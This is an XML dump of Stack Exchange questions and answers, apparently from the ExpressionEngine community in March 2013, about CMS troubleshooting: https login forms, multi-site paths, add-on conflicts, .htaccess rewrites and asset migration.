  <row Id="7220" PostTypeId="2" ParentId="7197" CreationDate="2013-03-11T00:47:35.020" Score="1" Body="&lt;p&gt;I've experienced this issue frequently and usually find its because one of the configuration paths has not been setup correctly on the new server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such I always install &lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;Deeploy Helper&lt;/a&gt; before migrating. Then, after migrating to the new server, if I get a blank Modules page I'll copy the Deeploy Helper URI from the previous sites CP and paste into the new sites CP. After Deeploy Helper's module page loads I update the paths/URIs and it resolves the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're unwilling or unable to use Deeploy Helper in the manner suggested I'd start by concentrating on ensuring all your &lt;a href=&quot;http://ee1docs.com/installation/masked_cp_access.html&quot; rel=&quot;nofollow&quot;&gt;paths &amp;amp; URIs&lt;/a&gt; are correct.&lt;/p&gt;&#xA;" OwnerUserId="306" LastActivityDate="2013-03-11T00:47:35.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7222" PostTypeId="1" AcceptedAnswerId="7223" CreationDate="2013-03-11T03:38:47.483" Score="1" ViewCount="128" Body="&lt;p&gt;Using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;login_form tag&lt;/a&gt;, is there a way to specify a secure return address, without entering a full domain name? Only the 'intranet' part of the site should be under https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;https://www.mywebsite.com/intranet/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;intranet/index&quot; secure=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the first method, it seems a bit naff how you see a 'You are now logged in' page that's http rather than https after logging in. Also, using a full domain name doesn't play nicely with version control and multi-server environments.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-03-11T04:07:28.010" Title="Using login_form tag with https" Tags="|members|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7223" PostTypeId="2" ParentId="7222" CreationDate="2013-03-11T04:07:28.010" Score="1" Body="&lt;p&gt;Is your login form page https? Seems like return=&quot;&quot; would keep you on the same protocol with a relative path if your originating form was over https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a redirect as I described in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6865/require-ssl-connection-for-checkout-and-order-tags-problem/7208#7208&quot;&gt;this thread regarding requiring SSL&lt;/a&gt; which would also prevent users from accidentally ending up on http:// as well. Though it'd be unfortunate if you had to do a redirect and I wonder if it opens you up to some sort of session hijacking.&lt;/p&gt;&#xA;" OwnerUserId="565" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-03-11T04:07:28.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7225" PostTypeId="1" CreationDate="2013-03-11T04:55:38.580" Score="0" ViewCount="219" Body="&lt;p&gt;I have a field named {the_shadow} set up with P&amp;amp;T Switch field type of &quot;yes&quot; and &quot;no&quot; for their values. For some reason it doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;portfolio_work&quot;&#xA;    orderby=&quot;random&quot;&#xA;    limit=&quot;20&quot;&#xA;    disable=&quot;member_data|pagination|categories|categories_fields&quot;&#xA;}&#xA;    {if main_photo}&#xA;    &amp;lt;!-- Work --&amp;gt;&#xA;        &amp;lt;li class=&quot;touchcarousel-item&quot;&amp;gt;          &#xA;            &amp;lt;div class=&quot;workPiece&quot;&amp;gt;{exp:gwcode_fileinfo:single file=&quot;{main_photo}&quot;}&amp;lt;img src=&quot;{main_photo}&quot; width=&quot;{image_width}&quot; height=&quot;505&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:gwcode_fileinfo:single}&amp;lt;/div&amp;gt;&#xA;            {if the_shadow == &quot;yes&quot;}&amp;lt;div class=&quot;workShadow&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;{/if}&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running ee v.2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;-Sam&lt;/p&gt;&#xA;" OwnerUserId="1159" LastEditorUserId="563" LastEditDate="2013-03-11T17:45:14.793" LastActivityDate="2013-04-10T18:07:09.583" Title="P&amp;T Switch value" Tags="|pixelandtonic|switch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7226" PostTypeId="1" CreationDate="2013-03-11T05:27:41.147" Score="2" ViewCount="869" Body="&lt;p&gt;I have recently purchased MSM but am having trouble getting it to work. I have &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/createsite.html&quot; rel=&quot;nofollow&quot;&gt;followed the docs&lt;/a&gt; to a tee but have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have completed the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Installed and activated the add-on&lt;/li&gt;&#xA;&lt;li&gt;Created a new site (did not copy anything from site 1)&lt;/li&gt;&#xA;&lt;li&gt;Updated URL to root directory in Admin &gt; General Config&lt;/li&gt;&#xA;&lt;li&gt;Created a new template group and made default for site2&lt;/li&gt;&#xA;&lt;li&gt;Added site 2 to hosting&lt;/li&gt;&#xA;&lt;li&gt;Ensured &quot;open_basedir&quot; has been turned off&lt;/li&gt;&#xA;&lt;li&gt;Copied admin.php &amp;amp; index.php from site 1 &lt;/li&gt;&#xA;&lt;li&gt;Updated system path in admin.php &amp;amp; index.php to absolute URL of site 1 (other variables also updated to reflect site 2 cp url &amp;amp; url).&lt;/li&gt;&#xA;&lt;li&gt;Uploaded admin.php &amp;amp; index.php to site 2&lt;/li&gt;&#xA;&lt;li&gt;Reload the site but get the following message:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your system folder path does not appear to be set correctly. Please&#xA;  open the following file and correct this: index.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried relative links for system paths but get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the name of site 2's admin.php &amp;amp; system name need to be the same as site 1 (I have changed it as a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;security precaution&lt;/a&gt;) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help of feedback would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2013-03-11T07:48:46.963" Title="Incorrect MSM system folder path?" Tags="|multi-site-manager|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7227" PostTypeId="2" ParentId="7226" CreationDate="2013-03-11T07:38:14.107" Score="2" Body="&lt;p&gt;The crucial part of MSM is the &quot;$system_path&quot; variable in index/admin.php which is the (file) system path of site 1's system folder rather than a URL.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;8) Updated system path in admin.php &amp;amp; index.php to &lt;strong&gt;absolute URL&lt;/strong&gt; of&#xA;  site 1 (other variables also updated to reflect site 2 cp url &amp;amp; url).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what you wrote I'm not sure if you've got that part right - on shared hosting it can be tricky figuring out what that path is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still getting the error I'd suggest trying a plain old php file system include to check that you have the permissions etc correct.&lt;/p&gt;&#xA;" OwnerUserId="255" LastEditorUserId="255" LastEditDate="2013-03-11T07:48:46.963" LastActivityDate="2013-03-11T07:48:46.963" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7228" PostTypeId="1" AcceptedAnswerId="7251" CreationDate="2013-03-11T09:19:03.733" Score="1" ViewCount="354" Body="&lt;p&gt;I think I have a plugin conflict.&#xA;In the CP, I have a channel with the following channel fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Content Elements&lt;/li&gt;&#xA;&lt;li&gt;Matrix with just Text&lt;/li&gt;&#xA;&lt;li&gt;Matrix with Text and Wygwam&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the last one, when I try to click on the left column (text), everything works fine but then, when I try to edit the other Matrix column (the Wygwam one), nothing happens, it just stays blank. The cursor doesn't even appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the console, I have the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php:1SyntaxError: Unexpected token '&amp;lt;'&#xA;http://mywebsite.com/themes/third_party/content_elements/elements/wysiwyg/ckeditor/skins/wygwam2/skin.js?t=B8DJ5M3Failed to load resource: the server responded with a status of 404 (Not Found)&#xA;ckeditor.js:23TypeError: 'undefined' is not an object (evaluating 'r.init')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: 2.4.0&lt;br&gt;&#xA;Wygwam: 2.6.3&lt;br&gt;&#xA;Content Elements: 1.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Updated]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam: 2.7&lt;br&gt;&#xA;Content Elements: 1.1.2  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the Wygwam and Content Elements plugins and now have the following error messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SyntaxError: Unexpected token '&amp;lt;'&#xA;http://mywebsite.com/themes/third_party/wygwam/lib/ckeditor/plugins/flickr/plugin.js?t=D09H5XKFailed to load resource: the server responded with a status of 404 (Not Found)&#xA;[CKEDITOR.resourceManager.load] Resource name &quot;flickr&quot; was not found at &quot;http://mywebsite.com/themes/third_party/wygwam/lib/ckeditor/plugins/flickr/plugin.js?t=D09H5XK&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1062" LastEditorUserId="563" LastEditDate="2013-03-11T17:46:45.647" LastActivityDate="2013-03-12T11:30:46.657" Title="Matrix and Wygwam / Content Elements plugin conflict" Tags="|matrix|wygwam|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostTypeId="1" AcceptedAnswerId="7354" CreationDate="2013-03-11T10:14:02.050" Score="2" ViewCount="225" Body="&lt;p&gt;I already tried contact the guys from 'mighty big robot', but their support doesn't seem to be that fast and I really need to have this fixed. So I might as well try my luck over here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I installed 'champagne' - &lt;a href=&quot;http://devot-ee.com/add-ons/champagne&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/champagne&lt;/a&gt; and it works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows you to send newsletters through campaign-monitor directly from expressionengine. It also allows you to use EE's templating system to generate a template that can be use for your newsletter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by selecting a EE-template that will be used for your newsletter in the channel you'll be using to create your newsletters. Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hKVp4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: 'newsletter' is my channel, 'newsletter/index' is my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT, not every channel needs a newsletter. So when leaving these fields blank, like this:&lt;br/&gt;&lt;br/&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2XzU7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would expect that the 'champagne' module doesn't load when accessing the publish layout for this particular channel.&lt;br/&gt;&#xA;Unfortunately, it does: it ads a tab and a custom field, but they're riddled with errors and are messing up the whole publish layout. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqYYE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried fixing it myself, but I just can't figure out where the module starts adding the tab and custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ft.champagne.php at line 85 it checks wether a template has been assigned to the channel and throws an error when this isn't the case. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset($channel_settings['html_content_url']) OR ($channel_settings['html_content_url'] == '' OR $channel_settings['text_content_url'] == ''))&#xA;{&#xA;return $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('msg_no_channel_settings');&#xA;}       &#xA;else&#xA;{&#xA;    ... &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The statement is correct: the code goes into the 'if' segment ( and stays out of the 'else' ) but it doesn't print the error, and it doesn't prevent the module from loading the tab &amp;amp; fields when it shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&#xA;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/nicodegols/status/311075618274029568&quot; rel=&quot;nofollow noreferrer&quot;&gt;nico suggested to reset the publish layout&lt;/a&gt;, which works. But I would rather solve this without having to reset and rebuild the publish layout of a few dozen channels.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2013-03-11T13:45:04.890" LastActivityDate="2013-03-18T02:50:59.697" Title="'Champagne' messes up my publish layouts" Tags="|add-on|ee2|champagne|mightybigrobot|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7230" PostTypeId="1" AcceptedAnswerId="10625" CreationDate="2013-03-11T10:57:22.060" Score="2" ViewCount="4703" Body="&lt;p&gt;I'm developing a site at the moment and noticed when I uploaded it to my staging server, all my links show correctly in the address bar, but show the index template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My folder structure is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/&#xA;  /pub&#xA;    index.php&#xA;    .htaccess&#xA;  /system&#xA;  /templates&#xA;  .htaccess&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My site runs inside /pub - Because I'm not able to specify with my host what the root directory of a site should be, they've advised that I use htaccess instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That .htaccess file sits in / and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^stage.domain.co$ [NC,OR]&#xA;RewriteCond %{HTTP_HOST} ^www.stage.domain.co$&#xA;RewriteCond %{REQUEST_URI} !pub/&#xA;RewriteRule (.*) /pub/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have a .htaccess file in /pub/ which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable Rewrite Engine&#xA;# ------------------------------&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;# Redirect index.php Requests&#xA;# ------------------------------&#xA;RewriteCond %{THE_REQUEST} ^[^/]*/index\.php [NC]&#xA;RewriteCond %{THE_REQUEST} ^GET&#xA;RewriteRule ^index\.php(.+) $1 [R=301,L]&#xA;&#xA;# Standard ExpressionEngine Rewrite&#xA;# ------------------------------&#xA;RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to remove index.php, AND the pub directory so my site will serve up URLs such as stage.domain.com/exercises instead of stage.domain.com/pub/index.php/exercises&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So two questions..&#xA;Should I be using two htaccess files like I am at the moment, one to redirect from /pub/, and one to remove index.php, or should they be in one file, and where should it be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What needs to be in those files to make it work?! I've tried what EE suggested by removing the slash before index.php on the last line, and adding a question mark.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2013-08-20T12:11:54.647" Title="Removing index.php AND the subdirectory folder name" Tags="|htaccess|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7231" PostTypeId="2" ParentId="7229" CreationDate="2013-03-11T11:19:27.843" Score="0" Body="&lt;p&gt;I've never used this addon but it sounds to me as though you &lt;em&gt;might&lt;/em&gt; be running into a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19055&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; whereby addon JS is cached when it shouldn't be. If you aren't already running EE 2.5.4 or greater then an update might fix this (or you can apply the patch from the bug report manually).&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-03-11T11:19:27.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7232" PostTypeId="1" CreationDate="2013-03-11T15:41:03.120" Score="0" ViewCount="100" Body="&lt;p&gt;i've a big challenge. I'm trying to replicate this form from behance in my edit profile page made with Profile:Edit add-on by mightybigrobot. Users can add manually their own social URL selecting from a fixed dropdown list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would something like that attached&#xA;&lt;a href=&quot;http://www.behance.net/portfolio/profile/info&quot; rel=&quot;nofollow&quot;&gt;http://www.behance.net/portfolio/profile/info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Member profile fieldgroup i add a Matrix fieldtype, in the first column i choose PT Dropdown, and in second i choose text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now i don't know how i can display in the front-end form in members edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somebody can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you Guys&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-03-19T17:26:20.170" Title="In Profile:Edit edit page add text with Matrix" Tags="|safecracker|matrix|profile-edit|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostTypeId="1" CreationDate="2013-03-11T16:07:14.180" Score="3" ViewCount="341" Body="&lt;p&gt;I’ve got something here that is absolutely not critical, but it's bugging me and I’ve been encouraged to post it here to see if anyone can help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to change the skin of WYGWAM to one I found for CKEditor that I really enjoy (&lt;a href=&quot;http://ckeditor.com/addon/moono&quot; rel=&quot;nofollow&quot;&gt;Moono&lt;/a&gt;, which I believe is the default now), but when I try to do that, the WYGWAM field will no longer load. I found what I thought was the appropriate place to change the skin in third_party/wygwam/helper.php. And I uploaded the skin to themes/third_party/wygwam/lib/ckeditor/skins. But no joy. Any idea what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I’m changing in helper.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function base_config()&#xA;{&#xA;    return array_merge(array(&#xA;        'skin'               =&amp;gt; 'wygwam2',&#xA;        'toolbarCanCollapse' =&amp;gt; 'n',&#xA;        'dialog_backgroundCoverOpacity' =&amp;gt; 0,&#xA;        'entities_processNumerical' =&amp;gt; 'y',&#xA;        'forcePasteAsPlainText' =&amp;gt; 'y'&#xA;    ), self::default_config_settings());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, I’m changing 'wygmwa2' to 'moono'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the field looks like before trying to change the skin: &lt;a href=&quot;http://buzzingpixelcreative.com/web-stuff/eese/2013-03-11/wygwam-default.png&quot; rel=&quot;nofollow&quot;&gt;before&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is what it looks like when I change the skin in helper.php: &lt;a href=&quot;http://buzzingpixelcreative.com/web-stuff/eese/2013-03-11/wygwam-trying-new-theme.png&quot; rel=&quot;nofollow&quot;&gt;after&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, after playing around with helper.php, I realized I could change skins on a per configuration basis in the advanced settings and I tried that, but experienced the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is obviously failing to initialize. Any ideas, anyone have any experience with this?&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-03-13T16:07:28.503" Title="WYGWAM/CKEditor Skin" Tags="|custom-fields|wygwam|fieldtype|pixelandtonic|wysiwyg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7234" PostTypeId="2" ParentId="7232" CreationDate="2013-03-11T17:14:20.277" Score="0" Body="&lt;p&gt;I haven't worked with profile:edit, but it's like going to be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:edit}&#xA;{matrix_field}&#xA;{pt_dropdown}&#xA;{/matrix_field}&#xA;{/exp:profile:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace matrix_field and pt_dropdown with your field and column short names, respectively.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-11T17:14:20.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostTypeId="2" ParentId="7225" CreationDate="2013-03-11T17:43:18.290" Score="1" Body="&lt;p&gt;Try something like this.  You'll see that pt_switch actually outputs 'y' not 'yes'. :)  If you're having trouble with conditionals. always echo out your variables so you can see what you need to test against. :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;pt_test_channel&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {pt_switch}&#xA;    {if pt_switch == 'y'}&#xA;    yessirreebob&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in your case you need this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if the_shadow == &quot;y&quot;}&amp;lt;div class=&quot;workShadow&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-11T17:43:18.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostTypeId="1" CreationDate="2013-03-11T18:16:15.477" Score="1" ViewCount="245" Body="&lt;p&gt;I'm having some trouble getting a matrix field to output a date cell correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.5.2, Matrix 2.4.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put the following code into my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{legislator_labi_score limit=&quot;1&quot; orderby=&quot;score_date&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;strong&amp;gt;LABI Score: {score_number}%&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;small&amp;gt;(as of {scoreEditDate format=&quot;%m/%d/%Y&quot;})&amp;lt;/small&amp;gt;&amp;lt;br /&amp;gt;&#xA;{/legislator_labi_score}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(as of {scoreEditDate format=&quot;%m/%d/%Y&quot;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I just put the field with no formatting info at all it outputs like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(as of June 10,2012)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which isn't bad, but it isn't what I wanted. Can you tell me what the problem might be? I saw a post from Get Satisfaction that had this issue, but they upgraded to 2.4.1 and it fixed the issue. I'm running 2.4.1 and I'm still having the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="1160" LastEditorUserId="563" LastEditDate="2013-03-11T18:25:16.423" LastActivityDate="2014-04-06T05:47:51.307" Title="matrix date field output" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7237" PostTypeId="1" CreationDate="2013-03-11T18:17:49.720" Score="2" ViewCount="660" Body="&lt;p&gt;I've just purchased Transcribe and can't quite figure something out (also using Structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://screencast.com/t/YQ7ynAZi&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/YQ7ynAZi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I create a test entry, save, go back into it and create an associated entry. After this I can see my 2 pages on 2 urls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/en/test&#xA;/ru/test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I now and go edit either entry, the URL changes, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/en/test-1&#xA;/ru/test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the segment after the language is not the same, then there is no real point having a language segment at all! e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/en/test-en&#xA;/ru/test-ru &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is not ideal and may as well be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/test-en&#xA;/test-ru &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this intended functionality?&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2013-04-02T08:51:05.923" Title="How do Transcribe URLs work?" Tags="|transcribe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostTypeId="2" ParentId="7237" CreationDate="2013-03-11T18:58:25.440" Score="2" Body="&lt;p&gt;The second segment in this case is the URL title (test) which must be unique so yes 'test' and 'test-1' would be created initially from attempting to create 2 entries with the URL title of 'test'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'test' and 'test-1' are URL Titles created when you created 2 entries called 'test'. This isn't related to Transcribe as such but is the way EE handles URL titles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'm saying is that each entry has a unique URL title, regardless of it being a translation of another entry. This allows you to have a completely different structure with URL's specific to that language. So the URL would be the word 'test' in Russian for the other entry. This way you could also potentially have a different site structure between different languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical URL structure would be: /language/template-group/template/url-title/ e.g /en/news/item/test/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes this is pretty much intended behaviour.&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="463" LastEditDate="2013-03-11T20:04:10.523" LastActivityDate="2013-03-11T20:04:10.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7239" PostTypeId="1" AcceptedAnswerId="7247" CreationDate="2013-03-11T20:41:21.603" Score="7" ViewCount="575" Body="&lt;p&gt;Using Assets 2.x in a recent site build. When we initially built the site, we didn't opt for S3 as it wasn't approved by the client. Since then, the site has yet to launch and thinking has changed - S3 is now the preferred option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is there any relatively painless way to migrate existing Assets to S3 - mind you we're using WYGWAM, Matrix, Playa on the site. Essentially, looking to know whether or not we can avoid manually accessing each entry and migrating those Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your advice!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Michael&lt;/p&gt;&#xA;" OwnerUserId="1033" LastEditorUserId="1033" LastEditDate="2013-03-11T20:49:07.033" LastActivityDate="2013-03-12T06:04:55.993" Title="Migrating Assets to S3" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
